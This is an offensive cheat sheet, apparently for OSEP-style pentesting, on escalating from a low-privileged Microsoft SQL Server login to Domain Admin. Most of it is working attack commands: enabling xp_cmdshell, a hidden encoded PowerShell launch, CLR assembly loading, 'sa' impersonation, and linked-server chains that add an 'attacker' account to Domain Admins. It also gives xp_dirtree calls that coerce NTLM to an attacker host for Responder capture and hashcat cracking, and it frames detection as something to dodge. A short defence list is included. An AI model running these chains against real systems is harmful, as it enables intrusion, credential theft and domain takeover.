MSSQL — xp_cmdshell and impersonation chains
TL;DR: Microsoft SQL Server is a privilege-escalation playground. Three primitives matter: (1)
xp_cmdshellfor direct OS command execution, (2)EXECUTE ASimpersonation to inherit a sysadmin’s permissions on the same instance, (3) linked servers to pivot from one instance to another (often into a domain controller’s network). Combine them and a low-privileged SQL login becomes Domain Admin. OSEP loves this. Companion to mssql-trusted-links and mssql-enum.
Recon (you must do this first)
1
2
3
4
5
6
7
8
# Authenticated SQL enum with mssqlclient.py
impacket-mssqlclient DOMAIN/user:pass@10.10.10.5 -windows-auth
# Anonymous / SQL-auth?
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-ntlm-info 10.10.10.5
# Coerce NTLM via xp_dirtree (when you have any login but no exec)
EXEC master.dbo.xp_dirtree '\\10.10.14.5\share', 1, 1
Inside an MSSQL session, the orientation commands:
1
2
3
4
5
6
7
8
9
10
SELECT @@version;
SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;
SELECT name, principal_id FROM sys.server_principals;
-- am I impersonable on by anyone?
SELECT b.name AS GranteeName, a.name AS GrantorName
FROM sys.server_permissions p
JOIN sys.server_principals a ON p.grantor_principal_id = a.principal_id
JOIN sys.server_principals b ON p.grantee_principal_id = b.principal_id
WHERE p.permission_name = 'IMPERSONATE';
Primitive 1 — xp_cmdshell
xp_cmdshell runs an OS command as the SQL Server service account.
1
2
3
4
5
6
7
-- enable (sysadmin required)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- shoot
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -nop -w hidden -e <b64>';
Service-account context matters:
- Default
NT Service\MSSQLSERVER(virtual account, low priv on the host but may have SeImpersonate → see token-impersonation + Potato family). - Domain account (best case) — instant network identity for further lateral movement.
LocalSystem(legacy install) — instant SYSTEM.
If xp_cmdshell is disabled and you can’t enable, fall back to:
- OLE Automation procedures (
sp_OACreate→WScript.Shell). - CLR assembly load — register a malicious .NET assembly inside SQL, call its method.
- R / Python ML services (
sp_execute_external_script) — if enabled.
1
2
3
4
5
6
7
-- CLR load (sysadmin)
ALTER DATABASE master SET TRUSTWORTHY ON;
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
EXEC sp_configure 'clr strict security', 0; RECONFIGURE;
CREATE ASSEMBLY [cmd_exec] FROM 0x4D5A...your DLL bytes... WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE [dbo].[cmd_exec] @command nvarchar(4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec];
EXEC dbo.cmd_exec 'whoami';
Primitive 2 — EXECUTE AS impersonation
If a server-principal has been granted IMPERSONATE on another principal (especially sa), you can switch context:
1
2
3
4
5
6
-- Direct impersonation
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
-- → now sysadmin → enable xp_cmdshell
EXEC xp_cmdshell 'whoami';
REVERT;
Even better: find a high-priv login impersonating you by accident. Then re-impersonate inside a stored procedure:
1
2
-- Database-level
EXECUTE AS USER = 'dbo';
Primitive 3 — linked servers
A linked server is a saved connection from instance A to instance B. If rpcout is on (or data access for older versions), you can run SQL on B as whatever credential A uses.
1
2
3
4
5
6
7
8
9
10
11
12
-- Discover
SELECT srvname, isremote FROM master..sysservers;
EXEC sp_linkedservers;
-- Run on the linked server
EXEC ('SELECT @@version;') AT [LINKED_SRV];
-- Chain through it
EXEC ('EXEC xp_cmdshell ''whoami'';') AT [LINKED_SRV];
-- Multi-hop chain
EXEC ('EXEC (''SELECT @@version;'') AT [HOP2];') AT [HOP1];
The chain works because each instance forwards the call using its own credentials. If HOP1 connects to HOP2 as sa, you don’t need credentials for HOP2 directly.
PowerUpSQL automates the discovery:
1
Get-SQLServerLinkCrawl -Instance 'mssql01' -Verbose
Putting it together — typical OSEP chain
- Foothold: SQL auth
webapp / hunter2discovered from a config file.IS_SRVROLEMEMBER('sysadmin') = 0. Noxp_cmdshell. - Impersonation: enumerate
IMPERSONATEgrants → find thatsais impersonable. EXECUTE AS LOGIN = 'sa'→ now sysadmin → enablexp_cmdshell.- Service account context:
whoamirevealsNT Service\MSSQL$INST1— hasSeImpersonate. Drop GodPotato or PrintSpoofer payload to escalate toSYSTEM. - Linked server pivot: discover
LINKED_DCpointing at the DC’s SQL instance withsamapping. EXEC ('EXEC xp_cmdshell ''cmd /c net group "Domain Admins" attacker /add /domain'';') AT [LINKED_DC].- Domain Admin without ever leaving the MSSQL protocol.
NTLM coercion via MSSQL
Several MSSQL functions take a file path and will reach out to a UNC. If you can run any of them, you can coerce the service account to authenticate to your responder.
1
2
3
EXEC master.dbo.xp_dirtree '\\10.10.14.5\x', 1, 1;
EXEC master.dbo.xp_subdirs '\\10.10.14.5\x';
EXEC master.dbo.xp_fileexist '\\10.10.14.5\x';
1
2
3
# attacker
sudo responder -I tun0
# capture NetNTLMv2 → hashcat -m 5600
If the service account is a domain user with WriteAccountRestrictions somewhere, this also enables NTLM relay chains — see ntlm-relay-ws2025-mitigations.
Detection (so you know what to dodge)
xp_cmdshellenablement event (Event ID 15457 or sp_configure trace).- Failed
EXECUTE ASattempts onsa. - Sudden new linked server entries.
- SQL Server agent running
cmd.exe/powershell.exechildren — surfaced by Microsoft Defender for SQL.
Defence
- Disable
xp_cmdshelland revokesp_configurefrom non-sysadmin. - Run MSSQL under a low-priv virtual account, not a domain admin.
- Avoid
TRUSTWORTHY ONon user databases. - Linked servers: don’t store
sacredentials; use Windows Auth pass-through only when necessary. - Audit
IMPERSONATEgrants onsaand on database owners.